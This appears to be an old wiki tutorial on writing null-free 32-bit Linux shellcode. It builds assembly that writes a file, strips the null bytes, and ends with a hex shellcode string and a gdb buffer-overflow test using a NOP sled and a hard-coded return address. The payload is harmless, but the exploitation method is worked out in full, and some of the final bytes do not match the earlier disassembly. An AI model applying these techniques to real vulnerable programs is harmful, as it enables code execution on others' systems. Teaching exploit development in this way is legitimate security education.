Difference between revisions of "Deprecated:Null-free shellcode"
(→Successful Overflow Test) |
|
(No difference)
|
Revision as of 14:20, 12 May 2012
Contents
Introduction
Shellcode is built upon the foundation of buffer overflow. Familiarization with the concept of buffer overflows is required to successfully create shellcode.
A buffer overflow is when a user mistakenly or not inputs more data then a buffer is meant to contain and without any proper bounds checking the program forces everything put into the buffer, overwriting various assembly registers. The purpose of this attack is to fit shellcode inside the buffer along with enough NOPS to allow the return pointer (eventually %eip or %rip) to be overwritten. When the return pointer is successfully overwritten, the program can then be forced to start at the beginning of the code on it's stack and make it do what ever that code specifies.
The first step of identifying a buffer overflow is to check for segmentation faults. This usually is a sure sign of a buffer over flow because the buffer is breached, allowing the return address to be overwriten and when the return address is changed to an address outside the scope of the program it will segfault.
Assembly
The first step in creating a runnable shellcode is to first create the exploit in pure assembly. This will be the starting blocks that will allow development and molding of the exploit into anything desired without worrying about design and nullbytes at first.
In this article 93 byte shellcode will be used that will open a file descriptor and write "this is lol" to a file named "lol" located at "/root/Desktop/". The first step is to create the assembly application as seen fit to later to be turned into runnable shellcode. Here is the example that will be worked with:
.section .data file: .ascii "/root/Desktop/lol" #the file destination .section .text .global _start: _start: movl $5, %eax #move open() to eax movl $file, %ebx #move file destination movl $03101, %ecx #some file options movl $0666, %edx #some file permissions int $0x80 #send interrupt to obtain a file descriptor movl %eax, %ebx #move the file descriptor to ebx for the write() call movl $4, %eax #move the write() call to eax pushl $0x006c6f6c pushl $0x20736920 pushl $0x73696874 #push 'this is lol\0' backwards onto the stack to be written movl %esp, %ecx #move the pointer to the beginning of the text to be written movl $12, %edx #move the size of the text to be written int $0x80 #write the text to the file movl $1, %eax #move exit() to eax movl $5, %edx #move the return value of 5 to edx int $0x80 #exit |
Here is the basic assembly program that turn into the payload for the buffer overflow exploit. As can be seen, it is very simple and straight forward so far. It is easily manageable and changeable in its current state and this is the stage in which all the design choices should be made. After the payload is created to run it through objdump to take a look at its byte code to see what changes need to make.
root@ducks:~/Desktop# objdump -d p2.o p2.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: b8 05 00 00 00 mov $0x5,%eax 5: bb 00 00 00 00 mov $0x0,%ebx a: b9 41 06 00 00 mov $0x641,%ecx f: ba b6 01 00 00 mov $0x1b6,%edx 14: cd 80 int $0x80 16: 89 c3 mov %eax,%ebx 18: b8 04 00 00 00 mov $0x4,%eax 1d: 68 6c 6f 6c 00 push $0x6c6f6c 22: 68 20 69 73 20 push $0x20736920 27: 68 74 68 69 73 push $0x73696874 2c: 89 e1 mov %esp,%ecx 2e: ba 0c 00 00 00 mov $0xc,%edx 33: cd 80 int $0x80 35: b8 01 00 00 00 mov $0x1,%eax 3a: ba 05 00 00 00 mov $0x5,%edx 3f: cd 80 int $0x80
As can be seen, this program is riddled with nullbytes which are a shellcodes worst enemy. Nullbytes cause program flow to hault when the target is reading through its stack after returning from the set return address causing the shellcode to not be run in its entirety. Another error in this is not of the assemblies fault, but rather the coders. The write path in which the file is to be written to is stored in static memory in the .data section. The reason this is bad design is because the target will not have this string or label in its memory so the shellcode will most likely cause a segmentation fault and will crash the target.
In order to fix these, design changes will need to be made as well as instruction changes in order to remove the nullbytes and fix the design problem.
Conversion to shellcode
String argument
_start: xorl %eax, %eax xorl %ebx, %ebx xorl %ecx, %ecx xorl %edx, %edx #xor all the registers to zero them movl $5, %eax #move open() to eax pushl $0x0000006c pushl $0x6f6c2f70 pushl $0x6f746b73 pushl $0x65442f74 pushl $0x6f6f722f #push the writing destination backwards in hex onto the stack movl %esp, %ebx #move the pointer to the top of the stack to ebx movl $03101, %ecx #some file options movl $0666, %edx #some file permissions int $0x80 #send interrupt to obtain a file descriptor movl %eax, %ebx #move the file descriptor to ebx for the write() call movl $4, %eax #move the write() call to eax pushl $0x006c6f6c pushl $0x20736920 pushl $0x73696874 #push 'this is lol\0' backwards onto the stack to be written movl %esp, %ecx #move the pointer to the beginning of the text to be written movl $12, %edx #move the size of the text to be written int $0x80 #write the text movl $1, %eax #move exit() to eax movl $5, %edx #move the return value of 5 to edx int $0x80 #exit |
In this new example it can be seen that instead of depending on the static definition of the destination path in the .data section, the entire string has been pushed onto the stack backwards which is then moved a pointer to into the proper register. The reason the design was changed is so that when the targets buffer is exploited, the path will now be on the stack so it can be accessed unlike before. Another change is that all the registers have been zeroed out that will be used. The reason behind this is that it can never be told what a register is set to at the time of exploitation,thus it is better off to zero them out when started.
Create a new objdump of the new code to see what else needs to be fixed:
root@ducks:~/Desktop# objdump -d p2.o p2.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: 31 c0 xor %eax,%eax 2: 31 db xor %ebx,%ebx 4: 31 c9 xor %ecx,%ecx 6: 31 d2 xor %edx,%edx 8: b8 05 00 00 00 mov $0x5,%eax d: 6a 6c push $0x6c f: 68 70 2f 6c 6f push $0x6f6c2f70 14: 68 73 6b 74 6f push $0x6f746b73 19: 68 74 2f 44 65 push $0x65442f74 1e: 68 2f 72 6f 6f push $0x6f6f722f 23: 89 e3 mov %esp,%ebx 25: b9 41 06 00 00 mov $0x641,%ecx 2a: ba b6 01 00 00 mov $0x1b6,%edx 2f: cd 80 int $0x80 31: 89 c3 mov %eax,%ebx 33: b8 04 00 00 00 mov $0x4,%eax 38: 68 6c 6f 6c 00 push $0x6c6f6c 3d: 68 20 69 73 20 push $0x20736920 42: 68 74 68 69 73 push $0x73696874 47: 89 e1 mov %esp,%ecx 49: ba 0c 00 00 00 mov $0xc,%edx 4e: cd 80 int $0x80 50: b8 01 00 00 00 mov $0x1,%eax 55: ba 05 00 00 00 mov $0x5,%edx 5a: cd 80 int $0x80
As can be seen, there still are a lot of nullbytes to remove from the code. Removing these can be as easy as changing the instruction in most cases, but in others such as the hex strings which have to be null terminated, a more complicated work around will need to be implemented.
Null-byte removal
_start: xorl %ecx, %ecx xorl %edx, %edx #use xor to zero out the registers (removed some not required) push $0x05 #push 0x05 (single byte to remove the null padding used in longs) pop %eax #pop that value into eax push $0x6c #push part of the file destination as a byte to remove padding pushl $0x6f6c2f70 pushl $0x6f746b73 pushl $0x65442f74 pushl $0x6f6f722f movl %esp, %ebx #move out stack pointer xorw $0x0641, %cx #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641) xorw $0x01b6, %dx #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6) #by using this method of xoring out the nullbytes code size can be reduced as well #as remove the null bytes int $0x80 #execute open() movl %eax, %ebx #move the file handle into ebx for write() push $0x04 #push 0x04 pop %eax #pop it into eax for use in write() pushl $0x6c6f6c6a #push part of the null terminated hex string onto the stack pop %ecx #pop it into ecx for modification shr $0x08, %ecx #shift it to the right by 0x08 to put the nullbyte back into the string without #having it directly in the code pushl %ecx #push the modified string back onto the stack pushl $0x20736920 pushl $0x73696874 movl %esp, %ecx #move the stack pointer to ecx push $0xb #push the size of the stack in hex pop %edx #pop it back into the proper register pushl %ebx #push the file descriptor onto the stack for the next function int $0x80 #write the file pop %ebx #get the file descriptor back push $0x06 #push 0x06 to the stack pop %eax #pop it into eax for close() int $0x80 #close the file push $0x01 #push exit() onto the stack pop %eax #and put it in the register push $0x05 #push the return value of 5 pop %ebx #and put it in ebx int $0x80 #and exit |
This code has now been heavily modified from the original to make it smaller in size, to make it run faster, and to make it have no null bytes. There are some complicated techniques used here that will help bypass the use of nullbytes such as xoring them out or using shift-left or shift-right to put them back into a string while in memory. Using these techniques allows the shellcode to have no nullbytes and to run flawlessly inside the targets stack.
It is time to do a final objdump to make sure all the nullbytes are gone and to make sure everything else is ok with the code. It will also give the final bytecode dump that will be cleaned up to produce a functioning shellcode.
root@ducks:~/Desktop# objdump -d p2.o p2.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: 31 c9 xor %ecx,%ecx 2: 31 d2 xor %edx,%edx 7: 6a 05 push $0x5 9: 58 pop %eax a: 6a 6c push $0x6c c: 68 70 2f 6c 6f push $0x6f6c2f70 11: 68 73 6b 74 6f push $0x6f746b73 16: 68 74 2f 44 65 push $0x65442f74 1b: 68 2f 72 6f 6f push $0x6f6f722f 20: 89 e3 mov %esp,%ebx 22: 66 81 f1 41 06 xor $0x641,%cx 27: 66 81 f2 b6 01 xor $0x1b6,%dx 2c: cd 80 int $0x80 2e: 89 c3 mov %eax,%ebx 30: 6a 04 push $0x4 32: 58 pop %eax 33: 68 6a 6c 6f 6c push $0x6c6f6c6a 38: 59 pop %ecx 39: c1 e9 08 shr $0x8,%ecx 3c: 51 push %ecx 3d: 68 20 69 73 20 push $0x20736920 42: 68 74 68 69 73 push $0x73696874 47: 89 e1 mov %esp,%ecx 49: 6a 0b push $0xb 4b: 5a pop %edx 4c: 53 push %ebx 4d: cd 80 int $0x80 4f: 5b pop %ebx 50: 6a 06 push $0x6 52: 58 pop %eax 53: cd 80 int $0x80 55: 6a 01 push $0x1 57: 58 pop %eax 58: 6a 05 push $0x5 5a: 5b pop %ebx 5b: cd 80 int $0x80
Everything appears to look okay so clean this objdump up and turn it into some real shellcode by removing all excess data except for the bytecode. Once the line markets and assembly instructions have been stripped away, add "\x" in front of every byte instruction like so.
\x31\xc9\x31\xd2\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80
This is what the final shellcode will look like. It is 93 bytes long and writes a file named "lol" to the desktop of /root/ and exits with the return value of 5.
Successful overflow test
To use this shellcode either use perl or ruby to aid in adding the correct number of NOPS for the buffer at hand. In this case, a 100 byte buffer with EIP located at 116 is being used. So that means that the shellcode should be subtracted from 116 which is 23 and then minus 4 for the return address which is 19. That means the shellcode must be padded with 19 NOPS in order for the return address to overwrite the EIP of the targets buffer.
This shellcode was tested on bof.c. |
root@ducks:~/Desktop# gdb -q ./bof Reading symbols from /root/Desktop/bof...done. (gdb) r "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`" Starting program: /root/Desktop/bof "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`" Program exited with code 05. (gdb)
When using perl or ruby to test this shellcode with an exploit from the command-line, it requires double quotations around the entire command, or it will output \x20 as a whitespace character and the shellcode will be divided up as separate command-line arguments, preventing the buffer from overflowing. |